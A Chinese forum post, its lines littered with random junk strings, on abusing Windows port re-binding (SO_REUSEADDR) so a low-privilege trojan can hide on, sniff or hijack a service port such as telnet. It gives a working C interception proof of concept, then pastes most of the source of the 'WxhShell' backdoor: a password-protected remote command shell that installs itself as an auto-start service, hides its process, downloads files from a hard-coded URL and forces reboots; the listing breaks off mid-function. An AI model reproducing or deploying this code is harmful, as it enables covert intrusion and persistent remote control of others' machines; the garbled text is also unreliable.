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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v$g\]QS p  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `0!%jz=  
4T v=sP  
  saddr.sin_family = AF_INET; 6E^9>  
}m7$,'C%P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )ZFc5m^+u  
DnW/q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J(= y$8xje  
(N)>?r@n`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 uK1VFW  
R\/tKZJjb  
  这意味着什么?意味着可以进行如下的攻击: _5$L`&  
#YK3Ogb,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d3#e7rQ8  
{SRD\&J[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fE3%$M[V7  
8LXK3D}?3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )V*`(dn'zm  
JRj{Q 1J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :hR^?{9Z4>  
NX:\iJD)1U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JLjs`oq h  
FT J{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t}OzF cyqN  
&& PZ;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7  `c!  
]v]:8>N  
  #include y|3("&)"S  
  #include *O)i)["  
  #include iWW >]3Q  
  #include    4%JJ} {Ff  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )a `kL,  
  int main() g@Y]$ey%A  
  { uf:'"7V7  
  WORD wVersionRequested; K*4ib/'E a  
  DWORD ret; ]&P 4QT)f  
  WSADATA wsaData; *Ue#Sade  
  BOOL val; }9;mtMR$  
  SOCKADDR_IN saddr; b' ~WS4xlD  
  SOCKADDR_IN scaddr; }LLQ +  
  int err; 5 [4{1v  
  SOCKET s; Re'3bs:+  
  SOCKET sc; HYY+Fv5  
  int caddsize; Q|2*V1"r<2  
  HANDLE mt; t"e%'dFv  
  DWORD tid;   NZFUCD)  
  wVersionRequested = MAKEWORD( 2, 2 ); :()K2<E  
  err = WSAStartup( wVersionRequested, &wsaData ); \(`C*d  
  if ( err != 0 ) { L&uPNcZ`-  
  printf("error!WSAStartup failed!\n"); IMzt1l =7  
  return -1; =e9<.{]S/  
  } a( N;| <  
  saddr.sin_family = AF_INET; <54KWC86)J  
   ;z+}|>!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 78?cCj{e  
t\Qm2Q)>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vh]=sd<F  
  saddr.sin_port = htons(23); zTi 8y<}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =5YbK1Q^  
  { gi)C5J4  
  printf("error!socket failed!\n"); :7(d 6gEL  
  return -1; ,6"[vb#*3  
  } $Q,]2/o6n  
  val = TRUE; %e|UA-(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {]N7kY.W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +OtD@lD`!  
  { ((^v sKT  
  printf("error!setsockopt failed!\n"); 1Oak8 \G  
  return -1; -SzCeq(p%5  
  } dX[ Xe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;4Xx5*E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r/HG{XH`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ea0EG>Y  
\nL@P6X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y/pK  
  { :/RvtmW  
  ret=GetLastError(); J{L d)Q,^  
  printf("error!bind failed!\n"); ng6E &<Z  
  return -1; uigzf^6,  
  } #BZ5Mxzj  
  listen(s,2); G(t&(t`[  
  while(1) Uv=)y^H~*A  
  { 8p1:dTI5Pb  
  caddsize = sizeof(scaddr); d(| 4 +^>  
  //接受连接请求 5-S-r9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `FX?P`\@I  
  if(sc!=INVALID_SOCKET) PQz[IZ  
  { *e<'|Kq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %>y!N!.F  
  if(mt==NULL) VMNdC}  
  {  J&+"  
  printf("Thread Creat Failed!\n"); O~6AX)|&=  
  break; qQ,(O5$|  
  } ~L> &p  
  } +8GxX$  
  CloseHandle(mt); <7/7+_y  
  } .t{uzDM  
  closesocket(s); N%u4uLP5k  
  WSACleanup(); t$R0UprK  
  return 0; GSH,;cY  
  }   vB5mOXGNq  
  DWORD WINAPI ClientThread(LPVOID lpParam) [?g}<fa  
  { `q1-yH0~4  
  SOCKET ss = (SOCKET)lpParam; #sbW^Q'I  
  SOCKET sc; Z 8GIZ  
  unsigned char buf[4096]; g|4>S<uC  
  SOCKADDR_IN saddr; ^?0?*  
  long num; %(s2{$3  
  DWORD val; 5p3: 8G7  
  DWORD ret; q>6,g>I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $d&7q5[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9,"gXsvx(  
  saddr.sin_family = AF_INET; 7~QAprwVS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]2|KG3t  
  saddr.sin_port = htons(23); /^WawH6)6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |>>^Mol  
  { D(e,R9hPU  
  printf("error!socket failed!\n"); ^nQJo"g\  
  return -1; d/YQ6oKU  
  } =OKUSHu@V  
  val = 100; L%pAEoSG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?;w\CS^Qu  
  { I^D*) z   
  ret = GetLastError(); f&&Ao  
  return -1; C?6q ]k]r  
  } -:b<~S[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2t=&h|6EW  
  { 2{g&9  
  ret = GetLastError(); {WeRFiQ?-  
  return -1; jX t5.9 t  
  } 9R&.$5[W(s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,.L o)[(  
  { PX?^v8wlqL  
  printf("error!socket connect failed!\n"); ]a:T]x6'  
  closesocket(sc); a^VI)  
  closesocket(ss); v)*eLX$  
  return -1; a"k,x-EL(  
  } Ct3+ga$  
  while(1) "# Q"gC.K  
  { u=(.}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4%<D\#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @Qqf4 h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CwO$EL:[`  
  num = recv(ss,buf,4096,0); Y&i&H=U  
  if(num>0) ~4ijiw$  
  send(sc,buf,num,0); 5yroi@KT   
  else if(num==0) %@C$xM"  
  break; fRzJiM{  
  num = recv(sc,buf,4096,0); bW3Ah?0N  
  if(num>0) q1|@v#kH6  
  send(ss,buf,num,0); w7<4D,hk  
  else if(num==0) GzT?I 7|M  
  break; ^[ 2siG  
  } ]Rmu +N|  
  closesocket(ss); :/}=s5aQl/  
  closesocket(sc); 1O90 ]c0  
  return 0 ; fECmELd  
  } }F3}"Ik'L  
+]Z *_?j9{  
M IUB]  
========================================================== ;;EFiaA  
B{V(g"dM  
下边附上一个代码,,WXhSHELL %XXjQ5p  
v6T<K)S  
========================================================== a6/ETQ  
LM!@LQAMY  
#include "stdafx.h" !VvM  
L|A1bxt  
#include <stdio.h> K-@cn*6  
#include <string.h> MLmv+  
#include <windows.h> F@ZB6~T~.  
#include <winsock2.h> ^4{{ +G)j  
#include <winsvc.h> 5ai$W`6  
#include <urlmon.h> tZr_{F@  
W9A F}  
#pragma comment (lib, "Ws2_32.lib") G[P<!6Id!p  
#pragma comment (lib, "urlmon.lib") 6%&w\<(SG  
8%b-.O:_$  
#define MAX_USER   100 // 最大客户端连接数 i6^-fl  
#define BUF_SOCK   200 // sock buffer pWb8X}M  
#define KEY_BUFF   255 // 输入 buffer l!}7GWj  
\F7NuG:m,  
#define REBOOT     0   // 重启 W:2j.K9!  
#define SHUTDOWN   1   // 关机 H.[(`wi!I  
pJQ_G`E  
#define DEF_PORT   5000 // 监听端口 ip*UujmNyR  
\T;(k?28HN  
#define REG_LEN     16   // 注册表键长度 :&s8G*  
#define SVC_LEN     80   // NT服务名长度 ]TsmWob  
2o0WS~}5  
// 从dll定义API S Fqq(K2u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9['>$ON  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Msc:7:L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 gW+|3E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2(Nf$?U @0  
;^8X(R  
// wxhshell配置信息 ,B,0o*qc{K  
struct WSCFG { <!?ZH"F0  
  int ws_port;         // 监听端口  t&G #%  
  char ws_passstr[REG_LEN]; // 口令 1kh()IrA  
  int ws_autoins;       // 安装标记, 1=yes 0=no Acb %)Y  
  char ws_regname[REG_LEN]; // 注册表键名 OX.g~M ig|  
  char ws_svcname[REG_LEN]; // 服务名 4uv*F:eo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 74KR.ABd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z%VgAV>>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s>ZlW:jY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XeAH.i<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rX|{nb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ys@\~?ym+  
FOuPj+}F  
}; qK&h$;~*y  
^O3p:X4u  
// default Wxhshell configuration +?0r%R%\  
struct WSCFG wscfg={DEF_PORT, +Ui%}^ZZ  
    "xuhuanlingzhe", Mbtk:GuY  
    1, gyv@_}Y3  
    "Wxhshell", <T$rvS  
    "Wxhshell", 3MHByT %  
            "WxhShell Service", AD"L>7  
    "Wrsky Windows CmdShell Service", h{e?Fl  
    "Please Input Your Password: ", twql)lbx  
  1, ZV~9{E8  
  "http://www.wrsky.com/wxhshell.exe", d-#yN:}0  
  "Wxhshell.exe" &t74T"(d  
    }; VCUsvhI  
AH# Dk5#G  
// 消息定义模块 FC8#XZp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Odbm"Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dca?(B!'6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,)t/1oQ}>^  
char *msg_ws_ext="\n\rExit."; Jrx]/CM  
char *msg_ws_end="\n\rQuit."; ^:o^g'Yab  
char *msg_ws_boot="\n\rReboot..."; DA/ \[w?J  
char *msg_ws_poff="\n\rShutdown..."; ujbJ&p   
char *msg_ws_down="\n\rSave to "; ZJ |&t  
C*Dco{ EQ>  
char *msg_ws_err="\n\rErr!"; 8s6^!e&  
char *msg_ws_ok="\n\rOK!"; oBWa\N  
cb_nlG!  
char ExeFile[MAX_PATH]; ajD/)9S  
int nUser = 0; X@@7Qk  
HANDLE handles[MAX_USER]; (.9H1aO46|  
int OsIsNt; jp#/]>(9Z  
3x E^EXV  
SERVICE_STATUS       serviceStatus; NMhI0Ix$w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ob7hNo#  
/SJI ~f+$  
// 函数声明 ;)!);q+  
int Install(void); S~.%G)R  
int Uninstall(void); :ZU-Vi.b  
int DownloadFile(char *sURL, SOCKET wsh); tL S$D-  
int Boot(int flag); gnZc`)z  
void HideProc(void); #80r?,q  
int GetOsVer(void); %Yny/O\e%  
int Wxhshell(SOCKET wsl); UAtdRVi]M  
void TalkWithClient(void *cs); =b#,OXQ  
int CmdShell(SOCKET sock); ZG_iF#  
int StartFromService(void); r%` |kN  
int StartWxhshell(LPSTR lpCmdLine); :74G5U8%  
5m rkw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AF"XsEt.e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W^1)70<y  
M[Mx g  
// 数据结构和表定义 WizVw&Iv  
SERVICE_TABLE_ENTRY DispatchTable[] = v'u}%FC  
{ w(R+p/RF  
{wscfg.ws_svcname, NTServiceMain}, ag"Nf-o/Y  
{NULL, NULL} S(hT3MAW  
}; cK1RmL"3  
Q Pp>%iE@  
// 自我安装 m7,;Hr(  
int Install(void) C'fQ Z,r-v  
{ 4XArpKA  
  char svExeFile[MAX_PATH]; *&rV}vVP^  
  HKEY key; Mt(;7q@1c  
  strcpy(svExeFile,ExeFile); KvuM{UI5  
B7nm7[V  
// 如果是win9x系统,修改注册表设为自启动 Ct9*T`Gl  
if(!OsIsNt) { O}q(2[*i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oJVpJA0IA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t3;QF  
  RegCloseKey(key); D P+W* 87J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' 8UhYwyr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); to;cF6X  
  RegCloseKey(key); $3{I'r]  
  return 0; ,IQ%7*f;O_  
    } txe mu *  
  } %51HJB}C]  
} AR5)Uw s  
else { <~35tOpv  
)r:gDd#/X  
// 如果是NT以上系统,安装为系统服务 t$b{zv9C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OT}^dPQe  
if (schSCManager!=0) 0`"DYJ}d  
{ RV, cQ K  
  SC_HANDLE schService = CreateService OJPi*i5*  
  ( c:_dW;MJ0  
  schSCManager, qiyJ4^1  
  wscfg.ws_svcname, Pxe7 \e  
  wscfg.ws_svcdisp, rZG6}<Hx  
  SERVICE_ALL_ACCESS, yI_MY L[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SSa0 x9T  
  SERVICE_AUTO_START, ?E.MP7Y# V  
  SERVICE_ERROR_NORMAL, #%SF2PB;  
  svExeFile, $O^U"  
  NULL, t[b@P<F  
  NULL, {DbWk>[DkG  
  NULL, iGsD!2  
  NULL, h v/+  
  NULL |FJc'&)J"  
  ); !jyy`q=  
  if (schService!=0) YfU6 mQ  
  { 'n!kqP  
  CloseServiceHandle(schService); F48W8'un  
  CloseServiceHandle(schSCManager); PZO8< d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a #Pr)H  
  strcat(svExeFile,wscfg.ws_svcname); '7>Yr zq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  OiMr,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zr[|~-  
  RegCloseKey(key); ,(&5y:o  
  return 0; 4W36VtQ@E  
    } I"r[4>>B>0  
  } 0;x<0P  
  CloseServiceHandle(schSCManager); 5Z(#)sa0Og  
} E sx`UG|  
} $5Tjo T  
#]FJx  
return 1; OK=ANQjs(  
} 1c}LX.9K  
2+qU9[kd|  
// 自我卸载 oq9gG)F  
int Uninstall(void) J2Z? }5>  
{ }tUr V   
  HKEY key; n3JSEu;J  
u1_NC;  
if(!OsIsNt) { ) >8k8E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,kw:g&A  
  RegDeleteValue(key,wscfg.ws_regname); m0+'BC{$u  
  RegCloseKey(key); tY6QhhuS:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T{mIk p<  
  RegDeleteValue(key,wscfg.ws_regname); Cw]bhaG g  
  RegCloseKey(key); rZ^VKO`~I1  
  return 0; ,U#FtOec  
  } %Y<3v \`_  
} "BD$-]  
} lehuJgz'OO  
else { ^?o>(K  
5!}fd/}Uk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [p&2k&.XYe  
if (schSCManager!=0) PBp+(o-  
{ \:`-"Ou(*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^U0)iz  
  if (schService!=0) :ej`]yK |  
  { EGJrnz8  
  if(DeleteService(schService)!=0) { m00 5*>IY  
  CloseServiceHandle(schService); /faP@Q3kR  
  CloseServiceHandle(schSCManager); <+)B8I^  
  return 0; J#*R]LU|  
  } >J_%'%%f  
  CloseServiceHandle(schService); ~ U`|+ 5  
  } 'v'=t<wgl  
  CloseServiceHandle(schSCManager); ,NoWAmv  
} iE=:}"pI"  
} #wP$LKk  
&xMQ  
return 1;  o C#W  
} _Q6` Wp6m  
fW8whN  
// 从指定url下载文件 <-Q0s%mNj,  
int DownloadFile(char *sURL, SOCKET wsh) [gxH,=Pb  
{ N"&qy3F  
  HRESULT hr; pm k;5 d  
char seps[]= "/"; 37nGFH`K2m  
char *token; \K(QE ~y'W  
char *file; |FxTP&8~  
char myURL[MAX_PATH]; bd@1j`i  
char myFILE[MAX_PATH]; A<<Bm M.%  
s.9_/cFWB  
strcpy(myURL,sURL);  $qyST  
  token=strtok(myURL,seps); f,QBj{M,  
  while(token!=NULL) +a!uS0fIJi  
  { co [  
    file=token; Onj)AJ9M0r  
  token=strtok(NULL,seps); Swnom?t  
  } V[baGNe  
=Z}=nS?4  
GetCurrentDirectory(MAX_PATH,myFILE); ,1|0]:  
strcat(myFILE, "\\"); 8/`ij?gn  
strcat(myFILE, file); <) ltvo(  
  send(wsh,myFILE,strlen(myFILE),0); fT  
send(wsh,"...",3,0); &VfMv'%x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >XK |jPK  
  if(hr==S_OK) |&0zAP"\  
return 0; =%oQIx  
else 1QJB4|5R#  
return 1; @86?!0bt  
QPJz~;V2  
} cSWn4-B@l  
LP:F'Q:<  
// 系统电源模块 l F*x\AT  
int Boot(int flag) D!nx%%q  
{ JWo).  
  HANDLE hToken; \2NT7^H#  
  TOKEN_PRIVILEGES tkp; P* .0kR1n  
56T{JTo  
  if(OsIsNt) { 2L|)uCb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LGPPyK Nx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LQ3J$N  
    tkp.PrivilegeCount = 1; 1JWo~E'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^P}c0}^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NG?-dkD  
if(flag==REBOOT) { bbxo!K m"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J\c\Ar :  
  return 0; 2!;U.+(  
} Ki(  
else { /aX 5G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SQJ }$#=  
  return 0; U<jAZU[L  
} Gf y9?sa  
  } ?)L X4GY  
  else { ]q CCCI`  
if(flag==REBOOT) { ^F4h:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bA8RoC  
  return 0; RI#o9d"x}  
} t 'im\_$F  
else { d+Au`'{>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rugR>&mea  
  return 0; Fv T;8ik:3  
} &NB"[Mm:@  
} L|N[.V9  
n>aH7  
return 1; 68, (+vkB  
} gO,2:,  
x>m=n_  
// win9x进程隐藏模块 ? fmW'vs  
void HideProc(void) L+J)  
{ B96"|v$  
] R-<v&O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mqk tM6  
  if ( hKernel != NULL ) Gn} ^BJN  
  { GG$&=.$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V/W{d[86G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ w,hJ `  
    FreeLibrary(hKernel); I4\ c+f9  
  } Qa-~x8]  
:]+p#l  
return; _ !H8j/b  
} M&~cU{9c  
!j-JMa?  
// 获取操作系统版本 Egr'IbB  
int GetOsVer(void) )W.Y{\D0  
{ 32Jl|@8,g  
  OSVERSIONINFO winfo; S1G3xY$0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1./iF>*A  
  GetVersionEx(&winfo); 0V5{:mzA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oES4X{,  
  return 1; ST7Xgma-  
  else Fb&WwGY,P  
  return 0; m?_@.O@]  
} zPt0IB_j'  
%y_AT2A  
// 客户端句柄模块 F`U YgN  
int Wxhshell(SOCKET wsl) "pW@[2Dkx/  
{ TSHH=`cx  
  SOCKET wsh; Z&Ao;=Gp1  
  struct sockaddr_in client; A!.* eIV|  
  DWORD myID; xA {1XS}  
(X(c.Jj  
  while(nUser<MAX_USER) <Z^qBM  
{ ztHEXM.  
  int nSize=sizeof(client); ~zD*=h2C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7R5!(g  
  if(wsh==INVALID_SOCKET) return 1; EGIwqci:  
@(_f}S gfE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tDwj~{a~  
if(handles[nUser]==0) A.@Af+  
  closesocket(wsh); rJqRzF{|P6  
else 8jz[;.jP",  
  nUser++; F}dq~QCzw  
  } 7UA|G2Zr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j3yz"-53e  
ZK8I f?SD  
  return 0; rN5;W  
} JwM Fu5@  
>$dkA\&p  
// 关闭 socket ;|H(_J=6k  
void CloseIt(SOCKET wsh) y_A?} 'X  
{ c3G&)gU4q  
closesocket(wsh); ?2$0aq  
nUser--; j~VHU89  
ExitThread(0); `.F+T)G  
} SdOE^_@:  
U)y~{E~c34  
// 客户端请求句柄 ?)V}_%fVv  
void TalkWithClient(void *cs) yNk E>  
{ kFsq23Ne  
U**v'%{s  
  SOCKET wsh=(SOCKET)cs; 4C[n@ p2  
  char pwd[SVC_LEN]; hDc)\vzr  
  char cmd[KEY_BUFF]; Eh*t;J=O  
char chr[1]; Yvbk[Rb  
int i,j; [5O`  
PZsq9;P$  
  while (nUser < MAX_USER) { I7/X6^/}  
/'g"Ys?3  
if(wscfg.ws_passstr) { UZ}>@0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UOtrq=y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {%Ujp9i  
  //ZeroMemory(pwd,KEY_BUFF); I'%(f@u~  
      i=0; D"RxI)"HP  
  while(i<SVC_LEN) { Vuu_Sd  
5xF R7%_&  
  // 设置超时 'YUx&F cM  
  fd_set FdRead; sM8AORd  
  struct timeval TimeOut; vhaUV#V"  
  FD_ZERO(&FdRead); baL-~`(T  
  FD_SET(wsh,&FdRead);  e+=IGYC  
  TimeOut.tv_sec=8; "=r"c$xou  
  TimeOut.tv_usec=0; - yn;Jo2-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Up|>)WFw"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *S$`/X  
;UB$Uqs6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }4M4D/=  
  pwd=chr[0]; C;_*vi2u  
  if(chr[0]==0xd || chr[0]==0xa) { 8NS1*\z  
  pwd=0; v'zj<|2  
  break; 2E X Rq  
  } 6 SosVE>Z  
  i++; q|fZdTw  
    } SXI3y  
LUjev\Re  
  // 如果是非法用户,关闭 socket L_4Zx sIv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )-4xI4  
} 61^5QHur  
"TgE@bC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |+0XO?,sZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F&I ;E i  
4;hgi[  
while(1) { sXaIQhZ  
rtM!|apr  
  ZeroMemory(cmd,KEY_BUFF); Oor&1  
=z$XqT.'  
      // 自动支持客户端 telnet标准   Qy+&N*k>  
  j=0; zz+p6`   
  while(j<KEY_BUFF) { 0 w#[?.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sn lKPd  
  cmd[j]=chr[0]; &R "Q  
  if(chr[0]==0xa || chr[0]==0xd) { A+Xk=k5<  
  cmd[j]=0; #=hI}%n  
  break; @]0;aZ{3  
  } =1}Umn|ZLS  
  j++; C'c9AoE5>  
    } p#V h[UTl^  
mtON dI  
  // 下载文件 <Y9xHn&  
  if(strstr(cmd,"http://")) { Uc3-n`C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); URFp3qE  
  if(DownloadFile(cmd,wsh)) ]O\Oj6C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); & M wvj  
  else h^D]@H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - ^sbf.  
  } 9(/ ;Wutj"  
  else { Z$? Ql@M  
dw v(8  
    switch(cmd[0]) { 8,,$C7"EP  
  9O+><x[i  
  // 帮助 7.o:(P1??g  
  case '?': { R]7-6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z$>_c "D  
    break; fb8t9sAI  
  } (IXe5 55  
  // 安装 z|V5/"  
  case 'i': { a3<.F&c+c  
    if(Install()) Q6G-`&5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :|:Disg  
    else -H3tBEvoI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R{5xb  
    break; L]goHs  
    } Qw ukhD7  
  // 卸载 &O'6va  
  case 'r': { |nN{XjNfP5  
    if(Uninstall()) rR4_=S<Mi:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y0d a8sd)  
    else E2s lpo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]mN'Qoc  
    break; DJ)z~W2I*  
    } R N1q/H|  
  // 显示 wxhshell 所在路径 Bw31h3yB  
  case 'p': { cVt MCgx  
    char svExeFile[MAX_PATH]; ]Fc<% wzp  
    strcpy(svExeFile,"\n\r"); G 1 rsd  
      strcat(svExeFile,ExeFile); N;9m&)@JR'  
        send(wsh,svExeFile,strlen(svExeFile),0); #-_';Er\  
    break; ) /kf  
    } ' {L5 3cH=  
  // 重启 S`Jo^!VJ4  
  case 'b': { :)UF#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8X@p?43  
    if(Boot(REBOOT)) S0\;FmLIc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bm>,$GW(  
    else { QQso<.d&  
    closesocket(wsh); v>FsP$p4yE  
    ExitThread(0); 'E{n1[b  
    } @?$x  
    break; <6]TazW?S  
    } ^T[8j/9o^  
